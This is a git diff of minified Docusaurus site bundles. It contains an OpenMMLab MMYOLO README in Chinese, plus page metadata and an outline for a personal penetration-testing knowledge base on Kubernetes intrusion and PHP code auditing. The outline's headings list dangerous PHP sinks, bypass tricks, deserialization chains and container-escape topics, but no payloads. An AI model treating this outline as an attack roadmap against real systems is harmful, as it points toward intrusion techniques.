Projects"}),"\u9875\u9762\uff0c\u975e\u5e38\u6b22\u8fce\u793e\u533a\u7528\u6237\u80fd\u53c2\u4e0e\u8fdb\u8fd9\u4e9b\u9879\u76ee\u4e2d\u6765\u3002\u8bf7\u53c2\u8003",(0,l.jsx)(n.a,{href:".github/CONTRIBUTING.md",children:"\u8d21\u732e\u6307\u5357"}),"\u6765\u4e86\u89e3\u53c2\u4e0e\u9879\u76ee\u8d21\u732e\u7684\u76f8\u5173\u6307\u5f15\u3002"]}),"\n",(0,l.jsx)(n.h2,{id:"\u81f4\u8c22",children:"\u81f4\u8c22"}),"\n",(0,l.jsx)(n.p,{children:"MMYOLO \u662f\u4e00\u6b3e\u7531\u6765\u81ea\u4e0d\u540c\u9ad8\u6821\u548c\u4f01\u4e1a\u7684\u7814\u53d1\u4eba\u5458\u5171\u540c\u53c2\u4e0e\u8d21\u732e\u7684\u5f00\u6e90\u9879\u76ee\u3002\u6211\u4eec\u611f\u8c22\u6240\u6709\u4e3a\u9879\u76ee\u63d0\u4f9b\u7b97\u6cd5\u590d\u73b0\u548c\u65b0\u529f\u80fd\u652f\u6301\u7684\u8d21\u732e\u8005\uff0c\u4ee5\u53ca\u63d0\u4f9b\u5b9d\u8d35\u53cd\u9988\u7684\u7528\u6237\u3002 \u6211\u4eec\u5e0c\u671b\u8fd9\u4e2a\u5de5\u5177\u7bb1\u548c\u57fa\u51c6\u6d4b\u8bd5\u53ef\u4ee5\u4e3a\u793e\u533a\u63d0\u4f9b\u7075\u6d3b\u7684\u4ee3\u7801\u5de5\u5177\uff0c\u4f9b\u7528\u6237\u590d\u73b0\u5df2\u6709\u7b97\u6cd5\u5e76\u5f00\u53d1\u81ea\u5df1\u7684\u65b0\u6a21\u578b\uff0c\u4ece\u800c\u4e0d\u65ad\u4e3a\u5f00\u6e90\u793e\u533a\u63d0\u4f9b\u8d21\u732e\u3002"}),"\n",(0,l.jsx)(n.h2,{id:"\u5f15\u7528",children:"\u5f15\u7528"}),"\n",(0,l.jsx)(n.p,{children:"\u5982\u679c\u4f60\u89c9\u5f97\u672c\u9879\u76ee\u5bf9\u4f60\u7684\u7814\u7a76\u5de5\u4f5c\u6709\u6240\u5e2e\u52a9\uff0c\u8bf7\u53c2\u8003\u5982\u4e0b bibtex \u5f15\u7528 MMYOLO"}),"\n",(0,l.jsx)(n.pre,{children:(0,l.jsx)(n.code,{className:"language-latex",children:"@misc{mmyolo2022,\n title={{MMYOLO: OpenMMLab YOLO} series toolbox and benchmark},\n author={MMYOLO Contributors},\n howpublished = {\\url{https://github.com/open-mmlab/mmyolo}},\n year={2022}\n}\n"})}),"\n",(0,l.jsx)(n.h2,{id:"\u5f00\u6e90\u8bb8\u53ef\u8bc1",children:"\u5f00\u6e90\u8bb8\u53ef\u8bc1"}),"\n",(0,l.jsxs)(n.p,{children:["\u8be5\u9879\u76ee\u91c7\u7528 ",(0,l.jsx)(n.a,{href:"LICENSE",children:"GPL 3.0 \u5f00\u6e90\u8bb8\u53ef\u8bc1"}),"\u3002"]}),"\n",(0,l.jsx)(n.h2,{id:"openmmlab-\u7684\u5176\u4ed6\u9879\u76ee",children:"OpenMMLab \u7684\u5176\u4ed6\u9879\u76ee"}),"\n",(0,l.jsxs)(n.ul,{children:["\n",(0,l.jsxs)(n.li,{children:[(0,l.jsx)(n.a,{href:"https://github.com/open-mmlab/mmengine",children:"MMEngine"}),": OpenMMLab \u6df1\u5ea6\u5b66\u4e60\u6a21\u578b\u8bad\u7ec3\u57fa\u7840\u5e93"]}),"\n",(0,l.jsxs)(n.li,{children:[(0,l.jsx)(n.a,{href:"https://github.com/open-mmlab/mmcv",children:"MMCV"}),": OpenMMLab \u8ba1\u7b97\u673a\u89c6\u89c9\u57fa\u7840\u5e93"]}),"\n",(0,l.jsxs)(n.li,{children:[(0,l.jsx)(n.a,{href:"https://github.com/open-mmlab/mim",children:"MIM"}),": MIM \u662f OpenMMlab \u9879\u76ee\u3001\u7b97\u6cd5\u3001\u6a21\u578b\u7684\u7edf\u4e00\u5165\u53e3"]}),"\n",(0,l.jsxs)(n.li,{children:[(0,l.jsx)(n.a,{href:"https://github.com/open-mmlab/mmclassification",children:"MMClassification"}),": OpenMMLab \u56fe\u50cf\u5206\u7c7b\u5de5\u5177\u7bb1"]}),"\n",(0,l.jsxs)(n.li,{children:[(0,l.jsx)(n.a,{href:"https://github.com/open-mmlab/mmdetection",children:"MMDetection"}),": OpenMMLab \u76ee\u6807\u68c0\u6d4b\u5de5\u5177\u7bb1"]}),"\n",(0,l.jsxs)(n.li,{children:[(0,l.jsx)(n.a,{href:"https://github.com/open-mmlab/mmdetection3d",children:"MMDetection3D"}),": OpenMMLab \u65b0\u4e00\u4ee3\u901a\u7528 3D \u76ee\u6807\u68c0\u6d4b\u5e73\u53f0"]}),"\n",(0,l.jsxs)(n.li,{children:[(0,l.jsx)(n.a,{href:"https://github.com/open-mmlab/mmrotate",children:"MMRotate"}),": OpenMMLab \u65cb\u8f6c\u6846\u68c0\u6d4b\u5de5\u5177\u7bb1\u4e0e\u6d4b\u8bd5\u57fa\u51c6"]}),"\n",(0,l.jsxs)(n.li,{children:[(0,l.jsx)(n.a,{href:"https://github.com/open-mmlab/mmyolo",children:"MMYOLO"}),": OpenMMLab YOLO \u7cfb\u5217\u5de5\u5177\u7bb1"]}),"\n",(0,l.jsxs)(n.li,{children:[(0,l.jsx)(n.a,{href:"https://github.com/open-mmlab/mmsegmentation",children:"MMSegmentation"}),": OpenMMLab \u8bed\u4e49\u5206\u5272\u5de5\u5177\u7bb1"]}),"\n",(0,l.jsxs)(n.li,{children:[(0,l.jsx)(n.a,{href:"https://github.com/open-mmlab/mmocr",children:"MMOCR"}),": OpenMMLab \u5168\u6d41\u7a0b\u6587\u5b57\u68c0\u6d4b\u8bc6\u522b\u7406\u89e3\u5de5\u5177\u5305"]}),"\n",(0,l.jsxs)(n.li,{children:[(0,l.jsx)(n.a,{href:"https://github.com/open-mmlab/mmpose",children:"MMPose"}),": OpenMMLab \u59ff\u6001\u4f30\u8ba1\u5de5\u5177\u7bb1"]}),"\n",(0,l.jsxs)(n.li,{children:[(0,l.jsx)(n.a,{href:"https://github.com/open-mmlab/mmhuman3d",children:"MMHuman3D"}),": OpenMMLab \u4eba\u4f53\u53c2\u6570\u5316\u6a21\u578b\u5de5\u5177\u7bb1\u4e0e\u6d4b\u8bd5\u57fa\u51c6"]}),"\n",(0,l.jsxs)(n.li,{children:[(0,l.jsx)(n.a,{href:"https://github.com/open-mmlab/mmselfsup",children:"MMSelfSup"}),": OpenMMLab \u81ea\u76d1\u7763\u5b66\u4e60\u5de5\u5177\u7bb1\u4e0e\u6d4b\u8bd5\u57fa\u51c6"]}),"\n",(0,l.jsxs)(n.li,{children:[(0,l.jsx)(n.a,{href:"https://github.com/open-mmlab/mmrazor",children:"MMRazor"}),": OpenMMLab \u6a21\u578b\u538b\u7f29\u5de5\u5177\u7bb1\u4e0e\u6d4b\u8bd5\u57fa\u51c6"]}),"\n",(0,l.jsxs)(n.li,{children:[(0,l.jsx)(n.a,{href:"https://github.com/open-mmlab/mmfewshot",children:"MMFewShot"}),": OpenMMLab \u5c11\u6837\u672c\u5b66\u4e60\u5de5\u5177\u7bb1\u4e0e\u6d4b\u8bd5\u57fa\u51c6"]}),"\n",(0,l.jsxs)(n.li,{children:[(0,l.jsx)(n.a,{href:"https://github.com/open-mmlab/mmaction2",children:"MMAction2"}),": OpenMMLab \u65b0\u4e00\u4ee3\u89c6\u9891\u7406\u89e3\u5de5\u5177\u7bb1"]}),"\n",(0,l.jsxs)(n.li,{children:[(0,l.jsx)(n.a,{href:"https://github.com/open-mmlab/mmtracking",children:"MMTracking"}),": OpenMMLab \u4e00\u4f53\u5316\u89c6\u9891\u76ee\u6807\u611f\u77e5\u5e73\u53f0"]}),"\n",(0,l.jsxs)(n.li,{children:[(0,l.jsx)(n.a,{href:"https://github.com/open-mmlab/mmflow",children:"MMFlow"}),": OpenMMLab \u5149\u6d41\u4f30\u8ba1\u5de5\u5177\u7bb1\u4e0e\u6d4b\u8bd5\u57fa\u51c6"]}),"\n",(0,l.jsxs)(n.li,{children:[(0,l.jsx)(n.a,{href:"https://github.com/open-mmlab/mmediting",children:"MMEditing"}),": OpenMMLab \u56fe\u50cf\u89c6\u9891\u7f16\u8f91\u5de5\u5177\u7bb1"]}),"\n",(0,l.jsxs)(n.li,{children:[(0,l.jsx)(n.a,{href:"https://github.com/open-mmlab/mmgeneration",children:"MMGeneration"}),": OpenMMLab \u56fe\u7247\u89c6\u9891\u751f\u6210\u6a21\u578b\u5de5\u5177\u7bb1"]}),"\n",(0,l.jsxs)(n.li,{children:[(0,l.jsx)(n.a,{href:"https://github.com/open-mmlab/mmdeploy",children:"MMDeploy"}),": OpenMMLab \u6a21\u578b\u90e8\u7f72\u6846\u67b6"]}),"\n",(0,l.jsxs)(n.li,{children:[(0,l.jsx)(n.a,{href:"https://github.com/open-mmlab/mmeval",children:"MMEval"}),": OpenMMLab \u673a\u5668\u5b66\u4e60\u7b97\u6cd5\u8bc4\u6d4b\u5e93"]}),"\n"]}),"\n",(0,l.jsx)(n.h2,{id:"\u6b22\u8fce\u52a0\u5165-openmmlab-\u793e\u533a",children:"\u6b22\u8fce\u52a0\u5165 OpenMMLab \u793e\u533a"}),"\n",(0,l.jsxs)(n.p,{children:["\u626b\u63cf\u4e0b\u65b9\u7684\u4e8c\u7ef4\u7801\u53ef\u5173\u6ce8 OpenMMLab \u56e2\u961f\u7684 ",(0,l.jsx)(n.a,{href:"https://www.zhihu.com/people/openmmlab",children:"\u77e5\u4e4e\u5b98\u65b9\u8d26\u53f7"}),"\uff0c\u52a0\u5165 OpenMMLab \u56e2\u961f\u7684 ",(0,l.jsx)(n.a,{href:"https://jq.qq.com/?_wv=1027&k=aCvMxdr3",children:"\u5b98\u65b9\u4ea4\u6d41 QQ \u7fa4"})]}),"\n",(0,l.jsxs)(n.div,{align:"center",children:["\n",(0,l.jsx)(n.img,{src:"resources/zhihu_qrcode.jpg",height:"400"})," ",(0,l.jsx)(n.img,{src:"resources/qq_group_qrcode.jpg",height:"400"}),"\n"]}),"\n",(0,l.jsx)(n.p,{children:"\u6211\u4eec\u4f1a\u5728 OpenMMLab \u793e\u533a\u4e3a\u5927\u5bb6"}),"\n",(0,l.jsxs)(n.ul,{children:["\n",(0,l.jsx)(n.li,{children:"\ud83d\udce2 \u5206\u4eab AI \u6846\u67b6\u7684\u524d\u6cbf\u6838\u5fc3\u6280\u672f"}),"\n",(0,l.jsx)(n.li,{children:"\ud83d\udcbb \u89e3\u8bfb PyTorch \u5e38\u7528\u6a21\u5757\u6e90\u7801"}),"\n",(0,l.jsx)(n.li,{children:"\ud83d\udcf0 \u53d1\u5e03 OpenMMLab \u7684\u76f8\u5173\u65b0\u95fb"}),"\n",(0,l.jsx)(n.li,{children:"\ud83d\ude80 \u4ecb\u7ecd OpenMMLab \u5f00\u53d1\u7684\u524d\u6cbf\u7b97\u6cd5"}),"\n",(0,l.jsx)(n.li,{children:"\ud83c\udfc3 \u83b7\u53d6\u66f4\u9ad8\u6548\u7684\u95ee\u9898\u7b54\u7591\u548c\u610f\u89c1\u53cd\u9988"}),"\n",(0,l.jsx)(n.li,{children:"\ud83d\udd25 \u63d0\u4f9b\u4e0e\u5404\u884c\u5404\u4e1a\u5f00\u53d1\u8005\u5145\u5206\u4ea4\u6d41\u7684\u5e73\u53f0"}),"\n"]}),"\n",(0,l.jsx)(n.p,{children:"\u5e72\u8d27\u6ee1\u6ee1 \ud83d\udcd8\uff0c\u7b49\u4f60\u6765\u64a9 \ud83d\udc97\uff0cOpenMMLab \u793e\u533a\u671f\u5f85\u60a8\u7684\u52a0\u5165 \ud83d\udc6c"})]})}function a(e={}){const{wrapper:n}={...(0,h.R)(),...e.components};return n?(0,l.jsx)(n,{...e,children:(0,l.jsx)(o,{...e})}):o(e)}}}]); \ No newline at end of file diff --git a/en/assets/js/072173b8.ea6055b4.js b/en/assets/js/072173b8.ea6055b4.js new file mode 100644 index 0000000..096042f --- /dev/null +++ b/en/assets/js/072173b8.ea6055b4.js @@ -0,0 +1 @@ +"use strict";(globalThis.webpackChunkblog=globalThis.webpackChunkblog||[]).push([[7119],{28453:(e,t,n)=>{n.d(t,{R:()=>o,x:()=>l});var s=n(96540);const r={},i=s.createContext(r);function o(e){const t=s.useContext(i);return s.useMemo(function(){return"function"==typeof e?e(t):{...t,...e}},[t,e])}function l(e){let t;return t=e.disableParentContext?"function"==typeof e.components?e.components(r):e.components||r:o(e.components),s.createElement(i.Provider,{value:t},e.children)}},85951:(e,t,n)=>{n.r(t),n.d(t,{assets:()=>c,contentTitle:()=>l,default:()=>u,frontMatter:()=>o,metadata:()=>s,toc:()=>d});const s=JSON.parse('{"id":"\u4e2a\u4eba\u77e5\u8bc6\u5e93/\u6e17\u900f\u6d4b\u8bd5/\u5185\u7f51\u6e17\u900f/kubernetes/README","title":"\u5185\u7f51\u6e17\u900f","description":"|\u4f5c\u8005|\u4fee\u8ba2\u65f6\u95f4|","source":"@site/docs/\u4e2a\u4eba\u77e5\u8bc6\u5e93/01.\u6e17\u900f\u6d4b\u8bd5/04.\u5185\u7f51\u6e17\u900f/02.kubernetes/README.md","sourceDirName":"\u4e2a\u4eba\u77e5\u8bc6\u5e93/01.\u6e17\u900f\u6d4b\u8bd5/04.\u5185\u7f51\u6e17\u900f/02.kubernetes","slug":"/\u4e2a\u4eba\u77e5\u8bc6\u5e93/\u6e17\u900f\u6d4b\u8bd5/\u5185\u7f51\u6e17\u900f/kubernetes/","permalink":"/en/docs/\u4e2a\u4eba\u77e5\u8bc6\u5e93/\u6e17\u900f\u6d4b\u8bd5/\u5185\u7f51\u6e17\u900f/kubernetes/","draft":false,"unlisted":false,"editUrl":"https://github.com/facebook/docusaurus/tree/main/packages/create-docusaurus/templates/shared/docs/\u4e2a\u4eba\u77e5\u8bc6\u5e93/01.\u6e17\u900f\u6d4b\u8bd5/04.\u5185\u7f51\u6e17\u900f/02.kubernetes/README.md","tags":[],"version":"current","frontMatter":{},"sidebar":"tutorialSidebar","previous":{"title":"MSF\u63d0\u6743","permalink":"/en/docs/\u4e2a\u4eba\u77e5\u8bc6\u5e93/\u6e17\u900f\u6d4b\u8bd5/\u5185\u7f51\u6e17\u900f/MSF\u63d0\u6743"},"next":{"title":"\u5bb9\u5668\u9003\u9038\u7684\u624b\u6cd5","permalink":"/en/docs/\u4e2a\u4eba\u77e5\u8bc6\u5e93/\u6e17\u900f\u6d4b\u8bd5/\u5185\u7f51\u6e17\u900f/kubernetes/\u5bb9\u5668\u9003\u9038\u7684\u624b\u6cd5/"}}');var r=n(74848),i=n(28453);const o={},l="\u5185\u7f51\u6e17\u900f",c={},d=[];function a(e){const t={h1:"h1",header:"header",img:"img",table:"table",tbody:"tbody",td:"td",th:"th",thead:"thead",tr:"tr",...(0,i.R)(),...e.components};return(0,r.jsxs)(r.Fragment,{children:[(0,r.jsx)(t.header,{children:(0,r.jsx)(t.h1,{id:"\u5185\u7f51\u6e17\u900f",children:"\u5185\u7f51\u6e17\u900f"})}),"\n\n\n\n\n\n\n\n\n\n\n\n\n\n",(0,r.jsxs)(t.table,{children:[(0,r.jsx)(t.thead,{children:(0,r.jsxs)(t.tr,{children:[(0,r.jsx)(t.th,{style:{textAlign:"left"},children:"\u4f5c\u8005"}),(0,r.jsx)(t.th,{style:{textAlign:"left"},children:"\u4fee\u8ba2\u65f6\u95f4"})]})}),(0,r.jsx)(t.tbody,{children:(0,r.jsxs)(t.tr,{children:[(0,r.jsx)(t.td,{style:{textAlign:"left"},children:(0,r.jsx)(t.img,{src:"https://img.shields.io/badge/wjlin0-%E4%B8%AA%E4%BA%BA%E7%9F%A5%E8%AF%86%E5%BA%93-green",alt:"wjlin0"})}),(0,r.jsx)(t.td,{style:{textAlign:"left"},children:"2025-10-15 00:32:39"})]})})]})]})}function u(e={}){const{wrapper:t}={...(0,i.R)(),...e.components};return t?(0,r.jsx)(t,{...e,children:(0,r.jsx)(a,{...e})}):a(e)}}}]); \ No newline at end of file diff --git a/en/assets/js/0779e051.f348356b.js b/en/assets/js/0779e051.f348356b.js new file mode 100644 index 0000000..a00d2c3 --- /dev/null +++ b/en/assets/js/0779e051.f348356b.js @@ -0,0 +1 @@ +"use strict";(globalThis.webpackChunkblog=globalThis.webpackChunkblog||[]).push([[6293],{3538:(e,n,s)=>{s.r(n),s.d(n,{assets:()=>a,contentTitle:()=>t,default:()=>p,frontMatter:()=>c,metadata:()=>l,toc:()=>d});const l=JSON.parse('{"id":"\u4e2a\u4eba\u77e5\u8bc6\u5e93/\u4ee3\u7801\u5ba1\u8ba1/PHP/PHP\u4ee3\u7801\u5ba1\u8ba1","title":"PHP\u4ee3\u7801\u5ba1\u8ba1","description":"|\u4f5c\u8005|\u4fee\u8ba2\u65f6\u95f4|","source":"@site/docs/\u4e2a\u4eba\u77e5\u8bc6\u5e93/03.\u4ee3\u7801\u5ba1\u8ba1/02.PHP/02.PHP\u4ee3\u7801\u5ba1\u8ba1.md","sourceDirName":"\u4e2a\u4eba\u77e5\u8bc6\u5e93/03.\u4ee3\u7801\u5ba1\u8ba1/02.PHP","slug":"/\u4e2a\u4eba\u77e5\u8bc6\u5e93/\u4ee3\u7801\u5ba1\u8ba1/PHP/PHP\u4ee3\u7801\u5ba1\u8ba1","permalink":"/en/docs/\u4e2a\u4eba\u77e5\u8bc6\u5e93/\u4ee3\u7801\u5ba1\u8ba1/PHP/PHP\u4ee3\u7801\u5ba1\u8ba1","draft":false,"unlisted":false,"editUrl":"https://github.com/facebook/docusaurus/tree/main/packages/create-docusaurus/templates/shared/docs/\u4e2a\u4eba\u77e5\u8bc6\u5e93/03.\u4ee3\u7801\u5ba1\u8ba1/02.PHP/02.PHP\u4ee3\u7801\u5ba1\u8ba1.md","tags":[],"version":"current","sidebarPosition":2,"frontMatter":{},"sidebar":"tutorialSidebar","previous":{"title":"PHP\u4ee3\u7801\u5ba1\u8ba1\u57fa\u7840\u77e5\u8bc6","permalink":"/en/docs/\u4e2a\u4eba\u77e5\u8bc6\u5e93/\u4ee3\u7801\u5ba1\u8ba1/PHP/PHP\u4ee3\u7801\u5ba1\u8ba1\u57fa\u7840\u77e5\u8bc6"},"next":{"title":"\u8bb0\u5f55\u4e00\u6b21\u5bf9PHAR\u53cd\u5e8f\u5217\u5316\u7684\u5229\u7528","permalink":"/en/docs/\u4e2a\u4eba\u77e5\u8bc6\u5e93/\u4ee3\u7801\u5ba1\u8ba1/PHP/\u8bb0\u5f55\u4e00\u6b21\u5bf9PHAR\u53cd\u5e8f\u5217\u5316\u7684\u5229\u7528"}}');var r=s(74848),i=s(28453);const c={},t="PHP\u4ee3\u7801\u5ba1\u8ba1",a={},d=[{value:"\u5e8f\u8a00",id:"\u5e8f\u8a00",level:2},{value:"\u5de5\u5177\u51c6\u5907",id:"\u5de5\u5177\u51c6\u5907",level:2},{value:"PHPStorm",id:"phpstorm",level:3},{value:"VScode",id:"vscode",level:3},{value:"\u5ba1\u8ba1\u601d\u8def",id:"\u5ba1\u8ba1\u601d\u8def",level:2},{value:"\u654f\u611f\u51fd\u6570\u65b9\u6cd5\u56de\u6eaf(\u53cd\u5411\u5ba1\u8ba1)",id:"\u654f\u611f\u51fd\u6570\u65b9\u6cd5\u56de\u6eaf\u53cd\u5411\u5ba1\u8ba1",level:3},{value:"\u7528\u6237\u53ef\u63a7\u53c2\u6570\u8ffd\u8e2a(\u6b63\u5411\u5ba1\u8ba1)",id:"\u7528\u6237\u53ef\u63a7\u53c2\u6570\u8ffd\u8e2a\u6b63\u5411\u5ba1\u8ba1",level:3},{value:"\u5173\u952e\u4e1a\u52a1\u529f\u80fd\u5206\u6790(\u529f\u80fd\u5ba1\u8ba1)",id:"\u5173\u952e\u4e1a\u52a1\u529f\u80fd\u5206\u6790\u529f\u80fd\u5ba1\u8ba1",level:3},{value:"\u5b8c\u5168\u5ba1\u8ba1\u6e90\u4ee3\u7801",id:"\u5b8c\u5168\u5ba1\u8ba1\u6e90\u4ee3\u7801",level:3},{value:"\u57fa\u7840\u77e5\u8bc6",id:"\u57fa\u7840\u77e5\u8bc6",level:2},{value:"\u524d\u8a00",id:"\u524d\u8a00",level:3},{value:"\u4ee3\u7801\u6267\u884c",id:"\u4ee3\u7801\u6267\u884c",level:3},{value:"eval()",id:"eval",level:4},{value:"\u8fd4\u56de\u503c",id:"\u8fd4\u56de\u503c",level:5},{value:"assert()",id:"assert",level:4},{value:"\u53c2\u6570",id:"\u53c2\u6570",level:5},{value:"assert()\u914d\u7f6e",id:"assert\u914d\u7f6e",level:5},{value:"preg_replace()",id:"preg_replace",level:4},{value:"\u53c2\u6570\u8bf4\u660e\uff1a",id:"\u53c2\u6570\u8bf4\u660e",level:5},{value:"create_function()",id:"create_function",level:4},{value:"\u53c2\u6570",id:"\u53c2\u6570-1",level:5},{value:"\u8fd4\u56de\u503c",id:"\u8fd4\u56de\u503c-1",level:5},{value:"array_map()",id:"array_map",level:4},{value:"\u53c2\u6570",id:"\u53c2\u6570-2",level:5},{value:"\u8fd4\u56de\u503c",id:"\u8fd4\u56de\u503c-2",level:5},{value:"call_user_func()",id:"call_user_func",level:4},{value:"\u53c2\u6570",id:"\u53c2\u6570-3",level:5},{value:"call_user_func_array()",id:"call_user_func_array",level:4},{value:"\u53c2\u6570",id:"\u53c2\u6570-4",level:5},{value:"array_filter()",id:"array_filter",level:4},{value:"\u53c2\u6570",id:"\u53c2\u6570-5",level:5},{value:"usort()",id:"usort",level:4},{value:"\u53c2\u6570",id:"\u53c2\u6570-6",level:5},{value:"uasort()",id:"uasort",level:4},{value:"\u53c2\u6570",id:"\u53c2\u6570-7",level:5},{value:"\u603b\u7ed3",id:"\u603b\u7ed3",level:4},{value:"\u547d\u4ee4\u6267\u884c",id:"\u547d\u4ee4\u6267\u884c",level:3},{value:"system()",id:"system",level:4},{value:"\u53c2\u6570",id:"\u53c2\u6570-8",level:5},{value:"exec()",id:"exec",level:4},{value:"\u53c2\u6570",id:"\u53c2\u6570-9",level:5},{value:"shell_exec()",id:"shell_exec",level:4},{value:"\u53c2\u6570",id:"\u53c2\u6570-10",level:5},{value:"passthru()",id:"passthru",level:4},{value:"\u53c2\u6570",id:"\u53c2\u6570-11",level:5},{value:"pcntl_exec()",id:"pcntl_exec",level:4},{value:"\u53c2\u6570",id:"\u53c2\u6570-12",level:5},{value:"popen()",id:"popen",level:4},{value:"\u53c2\u6570",id:"\u53c2\u6570-13",level:5},{value:"proc_open()",id:"proc_open",level:4},{value:"\u53c2\u6570",id:"\u53c2\u6570-14",level:5},{value:"\u6587\u4ef6\u5305\u542b",id:"\u6587\u4ef6\u5305\u542b",level:3},{value:"include()",id:"include",level:4},{value:"include_once()",id:"include_once",level:4},{value:"require()",id:"require",level:4},{value:"require_once()",id:"require_once",level:4},{value:"\u603b\u7ed3",id:"\u603b\u7ed3-1",level:4},{value:"\u6587\u4ef6\u8bfb\u53d6(\u4e0b\u8f7d)",id:"\u6587\u4ef6\u8bfb\u53d6\u4e0b\u8f7d",level:3},{value:"file_get_contents()",id:"file_get_contents",level:4},{value:"\u53c2\u6570",id:"\u53c2\u6570-15",level:5},{value:"fopen()",id:"fopen",level:4},{value:"\u53c2\u6570",id:"\u53c2\u6570-16",level:5},{value:"fread()",id:"fread",level:4},{value:"\u53c2\u6570",id:"\u53c2\u6570-17",level:5},{value:"fgets()",id:"fgets",level:4},{value:"\u53c2\u6570",id:"\u53c2\u6570-18",level:5},{value:"fgetss()",id:"fgetss",level:4},{value:"\u53c2\u6570",id:"\u53c2\u6570-19",level:5},{value:"readfile()",id:"readfile",level:4},{value:"\u53c2\u6570",id:"\u53c2\u6570-20",level:5},{value:"file()",id:"file",level:4},{value:"\u53c2\u6570",id:"\u53c2\u6570-21",level:5},{value:"parse_ini_file()",id:"parse_ini_file",level:4},{value:"\u53c2\u6570",id:"\u53c2\u6570-22",level:5},{value:"show_source()/highlight_file()",id:"show_sourcehighlight_file",level:4},{value:"\u603b\u7ed3",id:"\u603b\u7ed3-2",level:4},{value:"\u6587\u4ef6\u4e0a\u4f20",id:"\u6587\u4ef6\u4e0a\u4f20",level:3},{value:"move_uploaded_file()",id:"move_uploaded_file",level:4},{value:"\u53c2\u6570",id:"\u53c2\u6570-23",level:5},{value:"\u6587\u4ef6\u5220\u9664",id:"\u6587\u4ef6\u5220\u9664",level:3},{value:"unlink()",id:"unlink",level:4},{value:"\u53c2\u6570",id:"\u53c2\u6570-24",level:5},{value:"session_destroy()",id:"session_destroy",level:4},{value:"\u53d8\u91cf\u8986\u76d6",id:"\u53d8\u91cf\u8986\u76d6",level:3},{value:"extract()",id:"extract",level:4},{value:"\u53c2\u6570",id:"\u53c2\u6570-25",level:5},{value:"parse_str()",id:"parse_str",level:4},{value:"\u53c2\u6570",id:"\u53c2\u6570-26",level:5},{value:"import_request_variables()",id:"import_request_variables",level:4},{value:"\u53c2\u6570",id:"\u53c2\u6570-27",level:5},{value:"foreach()",id:"foreach",level:4},{value:"\u5f31\u7c7b\u578b\u6bd4\u8f83",id:"\u5f31\u7c7b\u578b\u6bd4\u8f83",level:3},{value:"md5()\u51fd\u6570\u548csha1()\u7ed5\u8fc7",id:"md5\u51fd\u6570\u548csha1\u7ed5\u8fc7",level:4},{value:"is_numeric()\u7ed5\u8fc7",id:"is_numeric\u7ed5\u8fc7",level:4},{value:"in_array()\u7ed5\u8fc7",id:"in_array\u7ed5\u8fc7",level:4},{value:"\u53c2\u6570",id:"\u53c2\u6570-28",level:5},{value:"XSS",id:"xss",level:3},{value:"print()",id:"print",level:4},{value:"print_r()",id:"print_r",level:4},{value:"echo()",id:"echo",level:4},{value:"printf()",id:"printf",level:4},{value:"sprintf()",id:"sprintf",level:4},{value:"die()",id:"die",level:4},{value:"var_dump()",id:"var_dump",level:4},{value:"var_export()",id:"var_export",level:4},{value:"PHP\u9ed1\u9b54\u6cd5",id:"php\u9ed1\u9b54\u6cd5",level:3},{value:"md5()",id:"md5",level:4},{value:"eval()",id:"eval-1",level:4},{value:"ereg()",id:"ereg",level:4},{value:"strcmp()",id:"strcmp",level:4},{value:"curl_setopt()",id:"curl_setopt",level:4},{value:"preg_replace()",id:"preg_replace-1",level:4},{value:"urldecode()",id:"urldecode",level:4},{value:"file_get_contents()",id:"file_get_contents-1",level:4},{value:"parse_url()",id:"parse_url",level:4},{value:"\u53cd\u5e8f\u5217\u5316\u6f0f\u6d1e",id:"\u53cd\u5e8f\u5217\u5316\u6f0f\u6d1e",level:3},{value:"\u7b80\u4ecb",id:"\u7b80\u4ecb",level:4},{value:"__wakeup()",id:"__wakeup",level:4},{value:"__sleep()",id:"__sleep",level:4},{value:"__destruct()",id:"__destruct",level:4},{value:"__construct()",id:"__construct",level:4},{value:"__call()",id:"__call",level:4},{value:"__callStatic()",id:"__callstatic",level:4},{value:"__get()",id:"__get",level:4},{value:"\u53c2\u6570",id:"\u53c2\u6570-29",level:5},{value:"__set()",id:"__set",level:4},{value:"\u53c2\u6570",id:"\u53c2\u6570-30",level:5},{value:"__isset()",id:"__isset",level:4},{value:"__unset()",id:"__unset",level:4},{value:"__toString()",id:"__tostring",level:4},{value:"__invoke()",id:"__invoke",level:4},{value:"pop\u94fe\u7684\u6784\u9020",id:"pop\u94fe\u7684\u6784\u9020",level:4},{value:"\u601d\u8def",id:"\u601d\u8def",level:4},{value:"phar\u4e0e\u53cd\u5e8f\u5217\u5316",id:"phar\u4e0e\u53cd\u5e8f\u5217\u5316",level:4},{value:"\u7b80\u4ecb",id:"\u7b80\u4ecb-1",level:5},{value:"\u6587\u4ef6\u7ed3\u6784",id:"\u6587\u4ef6\u7ed3\u6784",level:5},{value:"\u5b9e\u9a8c",id:"\u5b9e\u9a8c",level:5},{value:"phar.php\uff1a",id:"pharphp",level:6},{value:"Ameng.php",id:"amengphp",level:6},{value:"\u5176\u4ed6\u4e00\u4e9b\u603b\u7ed3",id:"\u5176\u4ed6\u4e00\u4e9b\u603b\u7ed3",level:3},{value:"basename()",id:"basename",level:4},{value:"\u53c2\u6570",id:"\u53c2\u6570-31",level:5},{value:"\u5b9e\u6218\u9879\u76ee",id:"\u5b9e\u6218\u9879\u76ee",level:2},{value:"\u4efb\u5b50\u884c\u7f51\u7edc\u5b89\u5168\u5ba1\u8ba1\u7cfb\u7edf(PHP)",id:"\u4efb\u5b50\u884c\u7f51\u7edc\u5b89\u5168\u5ba1\u8ba1\u7cfb\u7edfphp",level:3},{value:"\u5c71\u77f3\u4e91\u9274\u4e3b\u673a\u5b89\u5168\u7ba1\u7406\u7cfb\u7edf(PHP\u3001Python)",id:"\u5c71\u77f3\u4e91\u9274\u4e3b\u673a\u5b89\u5168\u7ba1\u7406\u7cfb\u7edfphppython",level:3}];function h(e){const 